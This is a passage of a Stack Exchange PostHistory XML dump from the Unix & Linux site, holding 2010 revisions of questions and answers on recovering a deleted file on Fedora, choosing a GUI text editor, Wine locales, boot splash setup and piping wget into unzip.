there).&#xD;&#xA;&#xD;&#xA;3. Simple, but swiss-clockwork-reliable refactoring, better to say sort of &quot;multifile search-and-replace on steroids&quot;.&#xD;&#xA;&#xD;&#xA;4. Syntax highlighting.&#xD;&#xA;&#xD;&#xA;5. Corresponding open/close parentheses/braces/tags/quotes/etc. pairs highlighting.&#xD;&#xA;&#xD;&#xA;6. Autocompletion. Probably simple, dictionary-based. Would be very nice if it could wok as an IDE, showing me class members after I put a dot and press Ctrl+Space, but I can afford lack of this feature if 1-4 features are there.&#xD;&#xA;&#xD;&#xA;7. Code snippets / macrosses." />
  <row Id="5551" PostHistoryTypeId="2" PostId="2678" RevisionGUID="0f9cf98e-4e5f-443c-a50d-34d6e2e5a29a" CreationDate="2010-10-03T19:56:12.463" UserId="1327" Text="It is possible, its just going to be a hassle. &#xD;&#xA;&#xD;&#xA;You're going to need the [testdisk][1] package, a lot of *disk space* and a **lot** of time. &#xD;&#xA;&#xD;&#xA;Install **testdisk** by running &#xD;&#xA;&#xD;&#xA;    yum install testdisk&#xD;&#xA;&#xD;&#xA; [1]:https://admin.fedoraproject.org/pkgdb/packages/name/testdisk" />
  <row Id="5552" PostHistoryTypeId="5" PostId="2674" RevisionGUID="7a089e08-a1c1-41fb-87c1-7d622d8eb9a6" CreationDate="2010-10-03T19:56:50.917" UserId="2119" Comment="added 17 characters in body; added 64 characters in body" Text="F-cked up with all IDE bloatware (for my purposes they are all overcomplicated and inconvenient), I came to an idea, that I'd probably better use a good editor than an IDE.&#xD;&#xA;&#xD;&#xA;I DON'T need projects, I don't need build management (I'd prefer to build manually, from command line, and write build scripts myself), I don't need perspectives, workspaces, modules, etc.&#xD;&#xA;&#xD;&#xA;I need (in importance descending order)&#xD;&#xA;&#xD;&#xA;1. Nice GUI. (I am sorry to say this to be the first priority, but that's my taste, without it I feel uncomfortable and go unproductive). Please don't offer VIM (with no GUI) or [X]EMACS (with ugly GUI). No weird key scheme (like VIM has), no command modes (or optionally enablable and unimportant in the editor's usage), etc.&#xD;&#xA;&#xD;&#xA;2. &lt;strong&gt;Manually-definable fordable regions (like in c#)&lt;/strong&gt; (defined by special macroses, escaped by (any language's) comments) &lt;strong&gt;in any language&lt;/strong&gt;. This is the most important requirement. If I find an editor meeting this point alongside with 1st one, I'd be happy already. In Windows, as far as I can remember, UltraEdit used to have this facility, but I am not sure (update: now I've installed UEx anc couldn't find such a feature there).&#xD;&#xA;&#xD;&#xA;3. Simple, but swiss-clockwork-reliable refactoring, better to say sort of &quot;multifile search-and-replace on steroids&quot;.&#xD;&#xA;&#xD;&#xA;4. Syntax highlighting.&#xD;&#xA;&#xD;&#xA;5. Corresponding open/close parentheses/braces/tags/quotes/etc. pairs highlighting.&#xD;&#xA;&#xD;&#xA;6. Autocompletion. Probably simple, dictionary-based. Would be very nice if it could wok as an IDE, showing me class members after I put a dot and press Ctrl+Space, but I can afford lack of this feature if 1-4 features are there.&#xD;&#xA;&#xD;&#xA;7. Code snippets / macrosses." />
  <row Id="5553" PostHistoryTypeId="5" PostId="2678" RevisionGUID="737e4019-0302-41bb-acde-f48af4456343" CreationDate="2010-10-03T20:02:00.727" UserId="1327" Comment="added 528 characters in body; added 271 characters in body; added 32 characters in body" Text="It is possible, its just going to be a hassle. &#xD;&#xA;&#xD;&#xA;You're going to need the [testdisk][1] package, a lot of *disk space* and a **lot** of time. &#xD;&#xA;&#xD;&#xA;PhotoRec, a part of TestDisk, can recover files from almost any disc. PhotoRec does [support][2] finding `.tex` files&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;First, install **testdisk** by running &#xD;&#xA;&#xD;&#xA;    yum install testdisk&#xD;&#xA;&#xD;&#xA;note: Your going to need a lot of free space on another drive, where you can save recovered files.&#xD;&#xA;&#xD;&#xA;Recover all the deleted files on your disc by running `photorec` on the free space of the disc. &#xD;&#xA;&#xD;&#xA;    sudo photorec&#xD;&#xA;&#xD;&#xA;and follow the instructions... ( remember not to save the files to the same disc you are recovering from )&#xD;&#xA;&#xD;&#xA;After the proccess has completed, all the recovered files should be in one directory, where you should run:&#xD;&#xA;&#xD;&#xA;    find -name '*.tex' &gt; filelist&#xD;&#xA;&#xD;&#xA;This will output a list of files that **might** be the one you lost. You will have to check all of them, as the filenames will be lost.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; [1]:https://admin.fedoraproject.org/pkgdb/packages/name/testdisk&#xD;&#xA; [2]:http://www.cgsecurity.org/wiki/File_Formats_Recovered_By_PhotoRec" />
  <row Id="5554" PostHistoryTypeId="2" PostId="2679" RevisionGUID="78b8424a-ba2c-4f44-bf05-4d52144eab6b" CreationDate="2010-10-03T20:06:05.803" UserId="1941" Text="Many text editors keep backup files. If you are really lucky, there might be something like yourfile.tex~ including a previous version of your file." />
  <row Id="5555" PostHistoryTypeId="2" PostId="2680" RevisionGUID="f30a93a9-eaa1-4964-979d-7e0494ef3bcf" CreationDate="2010-10-03T20:09:32.780" UserId="1207" Text="I would advise against immediately installing some utility.  Basically your biggest enemy here are disk writes.  You want to avoid them at all costs right now.&#xD;&#xA;&#xD;&#xA;Your best bet is an auto-backup created by your editor--if it exists. If not, I would try the following trick using grep if you remember some unique string in your .tex file:&#xD;&#xA;&#xD;&#xA;    $sudo grep -i -a -B100 -A100 'string' /dev/sda1 &gt; file.txt&#xD;&#xA;&#xD;&#xA;Replace /dev/sda1 with the device that the file was on and replace 'string' with the unique string in your file.  This could take some time.  But basically, what this does is it searches for the string in your file than then returns 100 lines before and after that line.  and puts it in file.txt.  If you need more lines returned just adjust the -B and -A options as appropriate.  You might get a bunch of extra garbage returned, but you should be able to get your text back.&#xD;&#xA;&#xD;&#xA;Good luck." />
  <row Id="5556" PostHistoryTypeId="5" PostId="2677" RevisionGUID="4c2fc362-3ca1-40a1-b9f4-b35e318c4788" CreationDate="2010-10-03T20:15:26.603" UserId="1207" Comment="deleted 2 characters in body; edited tags" Text="Hi--&#xD;&#xA;&#xD;&#xA;  Everyone, i am in need of an urgent help. I actually deleted one of .tex files from my laptop. I use an Fedora OS. Is it possible that i recover that file. " />
  <row Id="5557" PostHistoryTypeId="6" PostId="2677" RevisionGUID="4c2fc362-3ca1-40a1-b9f4-b35e318c4788" CreationDate="2010-10-03T20:15:26.603" UserId="1207" Comment="deleted 2 characters in body; edited tags" Text="éfedoraàédataörecoveryà" />
  <row Id="5558" PostHistoryTypeId="5" PostId="2680" RevisionGUID="c6a21aac-755b-4092-942c-ef4681c9fbd6" CreationDate="2010-10-03T20:16:43.827" UserId="1207" Comment="edited body" Text="I would advise against immediately installing some utility.  Basically your biggest enemy here are disk writes.  You want to avoid them at all costs right now.&#xD;&#xA;&#xD;&#xA;Your best bet is an auto-backup created by your editor--if it exists. If not, I would try the following trick using grep if you remember some unique string in your .tex file:&#xD;&#xA;&#xD;&#xA;    $sudo grep -i -a -B100 -A100 'string' /dev/sda1 &gt; file.txt&#xD;&#xA;&#xD;&#xA;Replace /dev/sda1 with the device that the file was on and replace 'string' with the unique string in your file.  This could take some time.  But basically, what this does is it searches for the string on the device and then returns 100 lines before and after that line.  and puts it in file.txt.  If you need more lines returned just adjust the -B and -A options as appropriate.  You might get a bunch of extra garbage returned, but you should be able to get your text back.&#xD;&#xA;&#xD;&#xA;Good luck." />
  <row Id="5559" PostHistoryTypeId="5" PostId="2678" RevisionGUID="1b00f2ec-be6d-4fee-8f8d-69658f0603b3" CreationDate="2010-10-03T20:19:38.197" UserId="1327" Comment="added 184 characters in body" Text="It is possible, its just going to be a hassle. &#xD;&#xA;&#xD;&#xA;**UPDATE:** before you try this method, please have a look at Steven's [answer][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You're going to need the [testdisk][1] package, a lot of *disk space* and a **lot** of time. &#xD;&#xA;&#xD;&#xA;PhotoRec, a part of TestDisk, can recover files from almost any disc. PhotoRec does [support][2] finding `.tex` files&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;First, install **testdisk** by running &#xD;&#xA;&#xD;&#xA;    yum install testdisk&#xD;&#xA;&#xD;&#xA;note: Your going to need a lot of free space on another drive, where you can save recovered files.&#xD;&#xA;&#xD;&#xA;Recover all the deleted files on your disc by running `photorec` on the free space of the disc. &#xD;&#xA;&#xD;&#xA;    sudo photorec&#xD;&#xA;&#xD;&#xA;and follow the instructions... ( remember not to save the files to the same disc you are recovering from )&#xD;&#xA;&#xD;&#xA;After the proccess has completed, all the recovered files should be in one directory, where you should run:&#xD;&#xA;&#xD;&#xA;    find -name '*.tex' &gt; filelist&#xD;&#xA;&#xD;&#xA;This will output a list of files that **might** be the one you lost. You will have to check all of them, as the filenames will be lost.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; [1]:https://admin.fedoraproject.org/pkgdb/packages/name/testdisk&#xD;&#xA; [2]:http://www.cgsecurity.org/wiki/File_Formats_Recovered_By_PhotoRec&#xD;&#xA; [3]:http://unix.stackexchange.com/questions/2677/recovering-deleted-files-on-fedora/2680#2680" />
  <row Id="5560" PostHistoryTypeId="2" PostId="2681" RevisionGUID="b75fdfa2-bc36-4e66-aaea-f9d16c306d5a" CreationDate="2010-10-03T22:17:35.257" UserId="33" Text="I know you said you don't want funky hotkeys, but from what you want it really sounds like a feature list of GVIM. Maybe it's worth using `vimtutor` to learn why (G)vim works like it does. I was scared too at first but now I wouldn't wanna go back." />
  <row Id="5561" PostHistoryTypeId="2" PostId="2682" RevisionGUID="36beddae-195d-4621-99ec-9796a48d6b22" CreationDate="2010-10-03T22:34:07.933" UserId="1078" Text="From my personal shell library:&#xD;&#xA;&#xD;&#xA;    get_screen_size()&#xD;&#xA;    {&#xD;&#xA;        xdpyinfo | grep dimensions: | head -1 | awk '{print $2}'&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;edit: ... and now updated as I noticed how inefficient that was (I wrote it a while ago)&#xD;&#xA;&#xD;&#xA;    get_screen_size()&#xD;&#xA;    {&#xD;&#xA;        xdpyinfo | awk '/dimensions:/ { print $2; exit }'&#xD;&#xA;    }" />
  <row Id="5562" PostHistoryTypeId="2" PostId="2683" RevisionGUID="0bd29a39-ee42-4c3c-90a6-db635a296a44" CreationDate="2010-10-03T22:41:32.833" UserId="2132" Text="Hello,&#xD;&#xA;&#xD;&#xA;I would like to be able to serve a section of my box's file system over USB to another computer. For example, if the files are on box A and I am reading from box B, then B would mount A, see those files, and mount them as a file system device (ie., like a thumb drive).&#xD;&#xA;&#xD;&#xA;Ideally the solution would work for any Linux distro, but I will most likely be running this on Debian variants.&#xD;&#xA;&#xD;&#xA;Please let me know if you need any more info. Cheers." />
  <row Id="5563" PostHistoryTypeId="1" PostId="2683" RevisionGUID="0bd29a39-ee42-4c3c-90a6-db635a296a44" CreationDate="2010-10-03T22:41:32.833" UserId="2132" Text="Serve files over USB" />
  <row Id="5564" PostHistoryTypeId="3" PostId="2683" RevisionGUID="0bd29a39-ee42-4c3c-90a6-db635a296a44" CreationDate="2010-10-03T22:41:32.833" UserId="2132" Text="éhardwareàéfilesystemsàéusbàémountà" />
  <row Id="5565" PostHistoryTypeId="2" PostId="2684" RevisionGUID="ec0c78e0-65a3-4680-8cea-34e139da1165" CreationDate="2010-10-03T22:46:44.073" UserId="33" Text="I don't really see how USB fits in here? Why don't you use SAMBA or NFS to share the files between those machines?&#xD;&#xA;Maybe that doesn't work for some reason, so you should probably add a little more explanation..." />
  <row Id="5566" PostHistoryTypeId="2" PostId="2685" RevisionGUID="ad76c6ae-8402-4224-9936-2a55b0f25c0b" CreationDate="2010-10-03T23:03:30.923" UserId="885" Text="Linux starts swapping before the RAM is filled up. This is done to improve performance and responsiveness:&#xD;&#xA;&#xD;&#xA;* Performance is increased because sometimes RAM is better used for disk cache than to store program memory. So it's better to swap out a program that's been inactive for a while, and instead keep often-used files in cache.&#xD;&#xA;&#xD;&#xA;* Responsiveness is improved by swapping pages out when the system is idle, rather than when the memory is full and some program is running and requesting more RAM to complete a task.&#xD;&#xA;&#xD;&#xA;Swapping does slow the system down, of course — but the alternative to swapping isn't not swapping, it's having more RAM or using less RAM.&#xD;&#xA;" />
  <row Id="5567" PostHistoryTypeId="5" PostId="2674" RevisionGUID="02e4772f-653d-41bc-9994-d8d32a724f80" CreationDate="2010-10-03T23:17:23.073" UserId="2119" Comment="edited body" Text="F-cked up with all IDE bloatware (for my purposes they are all overcomplicated and inconvenient), I came to an idea, that I'd probably better use a good editor than an IDE.&#xD;&#xA;&#xD;&#xA;I DON'T need projects, I don't need build management (I'd prefer to build manually, from command line, and write build scripts myself), I don't need perspectives, workspaces, modules, etc.&#xD;&#xA;&#xD;&#xA;I need (in importance descending order)&#xD;&#xA;&#xD;&#xA;1. Nice GUI. (I am sorry to say this to be the first priority, but that's my taste, without it I feel uncomfortable and go unproductive). Please don't offer VIM (with no GUI) or [X]EMACS (with ugly GUI). No weird key scheme (like VIM has), no command modes (or optionally enablable and unimportant in the editor's usage), etc.&#xD;&#xA;&#xD;&#xA;2. &lt;strong&gt;Manually-definable foldable regions (like in c#)&lt;/strong&gt; (defined by special macroses, escaped by (any language's) comments) &lt;strong&gt;in any language&lt;/strong&gt;. This is the most important requirement. If I find an editor meeting this point alongside with 1st one, I'd be happy already. In Windows, as far as I can remember, UltraEdit used to have this facility, but I am not sure (update: now I've installed UEx anc couldn't find such a feature there).&#xD;&#xA;&#xD;&#xA;3. Simple, but swiss-clockwork-reliable refactoring, better to say sort of &quot;multifile search-and-replace on steroids&quot;.&#xD;&#xA;&#xD;&#xA;4. Syntax highlighting.&#xD;&#xA;&#xD;&#xA;5. Corresponding open/close parentheses/braces/tags/quotes/etc. pairs highlighting.&#xD;&#xA;&#xD;&#xA;6. Autocompletion. Probably simple, dictionary-based. Would be very nice if it could wok as an IDE, showing me class members after I put a dot and press Ctrl+Space, but I can afford lack of this feature if 1-4 features are there.&#xD;&#xA;&#xD;&#xA;7. Code snippets / macrosses." />
  <row Id="5568" PostHistoryTypeId="5" PostId="2674" RevisionGUID="5c4e084d-8cf2-471b-b374-b23c1fc1530e" CreationDate="2010-10-03T23:38:02.920" UserId="2119" Comment="added 1569 characters in body" Text="F-cked up with all IDE bloatware (for my purposes they are all overcomplicated and inconvenient), I came to an idea, that I'd probably better use a good editor than an IDE.&#xD;&#xA;&#xD;&#xA;I DON'T need projects, I don't need build management (I'd prefer to build manually, from command line, and write build scripts myself), I don't need perspectives, workspaces, modules, etc.&#xD;&#xA;&#xD;&#xA;I need (in importance descending order)&#xD;&#xA;&#xD;&#xA;1. Nice GUI. (I am sorry to say this to be the first priority, but that's my taste, without it I feel uncomfortable and go unproductive). Please don't offer VIM (with no GUI) or [X]EMACS (with ugly GUI). No weird key scheme (like VIM has), no command modes (or optionally enablable and unimportant in the editor's usage), etc.&#xD;&#xA;&#xD;&#xA;2. &lt;strong&gt;Manually-definable foldable regions (like in c#)&lt;/strong&gt; (defined by special macroses, escaped by (any language's) comments) &lt;strong&gt;in any language&lt;/strong&gt;. This is the most important requirement. If I find an editor meeting this point alongside with 1st one, I'd be happy already. In Windows, as far as I can remember, UltraEdit used to have this facility, but I am not sure (update: now I've installed UEx anc couldn't find such a feature there).&#xD;&#xA;&#xD;&#xA;3. Simple, but swiss-clockwork-reliable refactoring, better to say sort of &quot;multifile search-and-replace on steroids&quot;.&#xD;&#xA;&#xD;&#xA;4. Syntax highlighting.&#xD;&#xA;&#xD;&#xA;5. Corresponding open/close parentheses/braces/tags/quotes/etc. pairs highlighting.&#xD;&#xA;&#xD;&#xA;6. Autocompletion. Probably simple, dictionary-based. Would be very nice if it could wok as an IDE, showing me class members after I put a dot and press Ctrl+Space, but I can afford lack of this feature if 1-4 features are there.&#xD;&#xA;&#xD;&#xA;7. Code snippets / macrosses.&#xD;&#xA;&#xD;&#xA;**Explanation of point 2:**&#xD;&#xA;&#xD;&#xA;Those who are familiar with C# possibly know of #region/#endregion directives. I can place them anywhere in code, and the editor will offer an option to fold the block delimited into one line (with a title specified as the starting directive argument) and unfold it on demand (much as most of modern editors can do with language blocks, like function bodies for example, but I'd like to be able to do this with any particular block of code I want).&#xD;&#xA;&#xD;&#xA;IMHO it could be pretty easily implemented (in editors, that have already implemented code folding for language blocks) for ANY language, no language syntax analysis required. A region defining directives syntax can be provided by an editor, escaping those directives by a language's comment line syntax.&#xD;&#xA;&#xD;&#xA;For example, NetBeans IDE has this functionality for Java, it is well described here:  http://wiki.netbeans.org/FaqCustomCodeFolds&#xD;&#xA;But in NetBeans this, unfortunately, works only with Java (and, maybe, some other) language, and doesn't work, for example, with Scala.&#xD;&#xA;&#xD;&#xA;I mostly code Scala, but, as I wrote, I'd wish, and can't see any reasons why couldn't be it made available as a language-agnostic feature - if the line contains &quot;(whatever) #region&quot; - this is a foldable region start, if there's something after &quot;#region&quot; in the line - this is the region title, if the line contains &quot;(whatever) #endregion&quot; - this is the region finish. Just find a start and a corresponding finish and fold it. User can replace &quot;(whatever)&quot; with any particular's language comment sign.&#xD;&#xA;" />
  <row Id="5569" PostHistoryTypeId="2" PostId="2686" RevisionGUID="be6e584e-bf86-43fb-aec8-e920aa7f86f4" CreationDate="2010-10-04T00:18:53.917" UserId="2119" Text="I prefer using English locales for my system, but have to use some old Unicode-unaware Russian and Czech applications. In Windows I could set a locale for such applications in a separate Control Panel place. How can I configure this in Linux/Wine?&#xD;&#xA;&#xD;&#xA;_Please_, someone, having enough points, add &quot;wine&quot; and &quot;i18n&quot; tags." />
  <row Id="5570" PostHistoryTypeId="1" PostId="2686" RevisionGUID="be6e584e-bf86-43fb-aec8-e920aa7f86f4" CreationDate="2010-10-04T00:18:53.917" UserId="2119" Text="How can I force codepage/locale (different from my Linux system locale) for non-Unicode Wine applications?" />
  <row Id="5571" PostHistoryTypeId="3" PostId="2686" RevisionGUID="be6e584e-bf86-43fb-aec8-e920aa7f86f4" CreationDate="2010-10-04T00:18:53.917" UserId="2119" Text="éwindowsà" />
  <row Id="5572" PostHistoryTypeId="5" PostId="2686" RevisionGUID="4eb854f7-0d65-4d42-8a00-15d1f5579da2" CreationDate="2010-10-04T01:34:09.180" UserId="73" Comment="deleted 70 characters in body; edited tags" Text="I prefer using English locales for my system, but have to use some old Unicode-unaware Russian and Czech applications. In Windows I could set a locale for such applications in a separate Control Panel place. How can I configure this in Linux/Wine?&#xD;&#xA;" />
  <row Id="5573" PostHistoryTypeId="6" PostId="2686" RevisionGUID="4eb854f7-0d65-4d42-8a00-15d1f5579da2" CreationDate="2010-10-04T01:34:09.180" UserId="73" Comment="deleted 70 characters in body; edited tags" Text="éwindowsàéwineàéi18nà" />
  <row Id="5575" PostHistoryTypeId="2" PostId="2687" RevisionGUID="39d0c122-efc5-4ee2-9639-e28d27329951" CreationDate="2010-10-04T03:35:12.313" UserId="1290" Text="Did you try setting `LANG` variable? I don't know the Czech setting, Russian should be `ru_RU.utf8` at least that's what I'd use.&#xD;&#xA;&#xD;&#xA;See what your current locale settings are:&#xD;&#xA;&#xD;&#xA;    % locale&#xD;&#xA;    LANG=en_US.utf8&#xD;&#xA;    LC_CTYPE=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_NUMERIC=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_TIME=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_COLLATE=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_MONETARY=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_MESSAGES=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_PAPER=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_NAME=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_ADDRESS=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_TELEPHONE=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_MEASUREMENT=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_IDENTIFICATION=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_ALL=&#xD;&#xA;&#xD;&#xA;If your locales are installed correctly, setting `LANG` should set all other variables.&#xD;&#xA;I cannot guarantee, that this will work in conjunction with WINE, though." />
  <row Id="5576" PostHistoryTypeId="2" PostId="2688" RevisionGUID="dfc5ca92-88b7-4a30-b514-2c815bbb7bf6" CreationDate="2010-10-04T03:47:57.550" UserId="2138" Text="While plymouth is certainly worth looking into, I use it myself, let's see if we can't actually answer this question for splashy....&#xD;&#xA;&#xD;&#xA;You need to make sure that the keyword `splash` is passed as a kernel argument at boot. This can be added at boot time or in the configuration for your bootloader (i.e. `/boot/grub/menu.lst` for grub, `/etc/lilo.conf` for lilo, or `/etc/default/grub` for grub2).&#xD;&#xA;&#xD;&#xA;You may also have to enable the framebuffer on your kernel. To do so, you need to add another parameter to the kernel arguments: `vga=791`&#xD;&#xA;&#xD;&#xA;So the line in `/boot/grub/menu.lst` might look like this:&#xD;&#xA;&#xD;&#xA;    kernel	/vmlinuz-2.6.26-2-686 root=/dev/mapper/bootdisk-root00 ro quiet vga=791 splash&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Further documentation for splashy can be found here in case you run into other issues:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;http://splashy.alioth.debian.org/wiki/faq" />
  <row Id="5578" PostHistoryTypeId="2" PostId="2689" RevisionGUID="61d1244d-c65a-4efe-a74b-5620dc35222d" CreationDate="2010-10-04T07:16:10.100" UserId="274" Text="I think this can be accomplished with a host-to-host USB cable and the Linux usbnet driver.  Hardware compatibility and details on how to set this up in Linux are given at: http://www.linux-usb.org/usbnet/&#xD;&#xA;" />
  <row Id="5579" PostHistoryTypeId="2" PostId="2690" RevisionGUID="829b5333-3ef6-4614-a8a3-99f704f16418" CreationDate="2010-10-04T09:10:49.783" UserId="2045" Text="I have to download a file from this [link](http://www.vim.org/scripts/download_script.phpsrc_id=11834). The file download is a zip file which I will have to unzip in the current folder.&#xD;&#xA;&#xD;&#xA;Normally, I would download it first, then run the unzip command.&#xD;&#xA;&#xD;&#xA;    $ wget http://www.vim.org/scripts/download_script.php?src_id=11834 -O temp.zip&#xD;&#xA;    $ unzip temp.zip&#xD;&#xA;&#xD;&#xA;But in this way, I need to execute two commands, wait for the completion of first one to execute the next one, also, I must know the name of the file `temp.zip` to give it to `unzip`.&#xD;&#xA;&#xD;&#xA;Is it possible to redirect output of wget to unzip? Something like&#xD;&#xA;&#xD;&#xA;    $ unzip &lt; `wget http://www.vim.org/scripts/download_script.php?src_id=11834`&#xD;&#xA;&#xD;&#xA;But it didn't work. &#xD;&#xA;&#xD;&#xA;&gt; bash: `wget&#xD;&#xA;&gt; http://www.vim.org/scripts/download_script.php?src_id=11834&#xD;&#xA;&gt; -O temp.zip`: ambiguous redirect&#xD;&#xA;&#xD;&#xA;Also, wget got executed twice, and downloaded the file twice.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5580" PostHistoryTypeId="1" PostId="2690" RevisionGUID="829b5333-3ef6-4614-a8a3-99f704f16418" CreationDate="2010-10-04T09:10:49.783" UserId="2045" Text="How to redirect output of wget as input to unzip?" />
  <row Id="5581" PostHistoryTypeId="3" PostId="2690" RevisionGUID="829b5333-3ef6-4614-a8a3-99f704f16418" CreationDate="2010-10-04T09:10:49.783" UserId="2045" Text="écommandölineàéioöredirectionà" />
  <row Id="5582" PostHistoryTypeId="2" PostId="2691" RevisionGUID="6173a83f-1bc5-49ca-b67a-b09722251c66" CreationDate="2010-10-04T09:33:38.643" UserId="33" Text="You have to download your files to a temp file, because (quoting the unzip man page):&#xD;&#xA;&#xD;&#xA;&gt; Archives  read  from  standard input&#xD;&#xA;&gt; are not yet supported, except with&#xD;&#xA;&gt; funzip  (and  then only  the  first &#xD;&#xA;&gt; member  of  the  archive  can  be&#xD;&#xA;&gt; extracted).&#xD;&#xA;&#xD;&#xA;Just bring the commands together:&#xD;&#xA;&#xD;&#xA;`wget http://www.vim.org/scripts/download_script.php?src_id=11834 -O temp.zip; unzip temp.zip; rm temp.zip`&#xD;&#xA;&#xD;&#xA;But in order to make it more flexible you should probably put it into a script so you save some typing and in order to make sure you don't accidentally overwrite something you could use the `tempfile` command to create a safe filename for your temp file:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    TMPFILE=`tempfile`&#xD;&#xA;    PWD=`pwd`&#xD;&#xA;    wget &quot;$1&quot; -O $TMPFILE&#xD;&#xA;    unzip -d $PWD $TMPFILE&#xD;&#xA;    rm $TMPFILE&#xD;&#xA;" />
  <row Id="5583" PostHistoryTypeId="2" PostId="2692" RevisionGUID="e3ab71f6-df05-4674-8063-5b5d50d80a5a" CreationDate="2010-10-04T09:40:16.433" UserId="2141" Text="What is the bare minimum components for a Linux OS to be functional?&#xD;&#xA;&#xD;&#xA;A base I can use to expand and improve as my understanding and needs grow?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5584" PostHistoryTypeId="1" PostId="2692" RevisionGUID="e3ab71f6-df05-4674-8063-5b5d50d80a5a" CreationDate="2010-10-04T09:40:16.433" UserId="2141" Text="What is the smallest possible Linux 'distro'?" />
  <row Id="5585" PostHistoryTypeId="3" PostId="2692" RevisionGUID="e3ab71f6-df05-4674-8063-5b5d50d80a5a" CreationDate="2010-10-04T09:40:16.433" UserId="2141" Text="édistrosà" />
  <row Id="5588" PostHistoryTypeId="5" PostId="2674" RevisionGUID="61f21ff7-0e27-4810-bd4c-79b9f719d009" CreationDate="2010-10-04T09:51:30.173" UserId="2119" Comment="added 1648 characters in body; added 216 characters in body" Text="F-cked up with all IDE bloatware (for my purposes they are all overcomplicated and inconvenient), I came to an idea, that I'd probably better use a good editor than an IDE.&#xD;&#xA;&#xD;&#xA;I DON'T need projects, I don't need build management (I'd prefer to build manually, from command line, and write build scripts myself), I don't need perspectives, workspaces, modules, etc.&#xD;&#xA;&#xD;&#xA;I need (in importance descending order)&#xD;&#xA;&#xD;&#xA;1. Nice GUI. (I am sorry to say this to be the first priority, but that's my taste, without it I feel uncomfortable and go unproductive). Please don't offer VIM (with no GUI) or [X]EMACS (with ugly GUI). No weird key scheme (like VIM has), no command modes (or optionally enablable and unimportant in the editor's usage), etc.&#xD;&#xA;&#xD;&#xA;2. &lt;strong&gt;Manually-definable foldable regions (like in c#)&lt;/strong&gt; (defined by special macroses, escaped by (any language's) comments) &lt;strong&gt;in any language&lt;/strong&gt;. This is the most important requirement. If I find an editor meeting this point alongside with 1st one, I'd be happy already. In Windows, as far as I can remember, UltraEdit used to have this facility, but I am not sure (update: now I've installed UEx anc couldn't find such a feature there).&#xD;&#xA;&#xD;&#xA;3. Simple, but swiss-clockwork-reliable refactoring, better to say sort of &quot;multifile search-and-replace on steroids&quot;.&#xD;&#xA;&#xD;&#xA;4. Syntax highlighting.&#xD;&#xA;&#xD;&#xA;5. Corresponding open/close parentheses/braces/tags/quotes/etc. pairs highlighting.&#xD;&#xA;&#xD;&#xA;6. Autocompletion. Probably simple, dictionary-based. Would be very nice if it could wok as an IDE, showing me class members after I put a dot and press Ctrl+Space, but I can afford lack of this feature if 1-4 features are there.&#xD;&#xA;&#xD;&#xA;7. Code snippets / macrosses.&#xD;&#xA;&#xD;&#xA;**Explanation of point 2:**&#xD;&#xA;&#xD;&#xA;Those who are familiar with C# possibly know of #region/#endregion directives. I can place them anywhere in code, and the editor will offer an option to fold the block delimited into one line (with a title specified as the starting directive argument) and unfold it on demand (much as most of modern editors can do with language blocks, like function bodies for example, but I'd like to be able to do this with any particular block of code I want).&#xD;&#xA;&#xD;&#xA;IMHO it could be pretty easily implemented (in editors, that have already implemented code folding for language blocks) for ANY language, no language syntax analysis required. A region defining directives syntax can be provided by an editor, escaping those directives by a language's comment line syntax.&#xD;&#xA;&#xD;&#xA;For example, NetBeans IDE has this functionality for Java, it is well described here:  http://wiki.netbeans.org/FaqCustomCodeFolds&#xD;&#xA;But in NetBeans this, unfortunately, works only with Java (and, maybe, some other) language, and doesn't work, for example, with Scala.&#xD;&#xA;&#xD;&#xA;I mostly code Scala, but, as I wrote, I'd wish, and can't see any reasons why couldn't be it made available as a language-agnostic feature - if the line contains &quot;(whatever) #region&quot; - this is a foldable region start, if there's something after &quot;#region&quot; in the line - this is the region title, if the line contains &quot;(whatever) #endregion&quot; - this is the region finish. Just find a start and a corresponding finish and fold it. User can replace &quot;(whatever)&quot; with any particular's language comment sign.&#xD;&#xA;&#xD;&#xA;**UPDATE: answer found** (just to summarize and share an answer in a more informative form, I'll include it here):&#xD;&#xA;&#xD;&#xA;There vere many good suggestions (I am going to experiment with SciTE and try learning EMACS and VIM when I'll have a proper mood). Googling myself I've also find an interesting &lt;a href=&quot;http://e-texteditor.com/&quot;&gt;E-TextEditor&lt;/a&gt; (an open-source wxWidgets-based (means cross-platform, there were successful efforts to build and install it &lt;a href=&quot;http://fixnum.org/blog/2009/e_on_fedora/&quot;&gt;on Fedora 10&lt;/a&gt; and &lt;a href=&quot;http://code.google.com/p/textmate-huacnlee/&quot;&gt;on Ubuntu 9.04&lt;/a&gt;) Mac's &lt;a href=&quot;http://en.wikipedia.org/wiki/TextMate&quot;&gt;TextMate&lt;/a&gt; clone for Windows).&#xD;&#xA;&#xD;&#xA;But the answer for now, found thanks to &lt;a href=&quot;http://unix.stackexchange.com/users/1941/fschmitt&quot;&gt;fschmitt's&lt;/a&gt; &lt;a href=&quot;http://unix.stackexchange.com/questions/2674/can-you-recommend-a-gui-text-editor-for-a-developer-features-needed-are-inside/2675#2675&quot;&gt;suggestion&lt;/a&gt;, is &lt;a href=&quot;http://kate-editor.org/&quot;&gt;Kate&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;To get my point #2 (above, in the question) for Scala (easily adaptable for any other language the way I've explained), I had only to add 2 lines 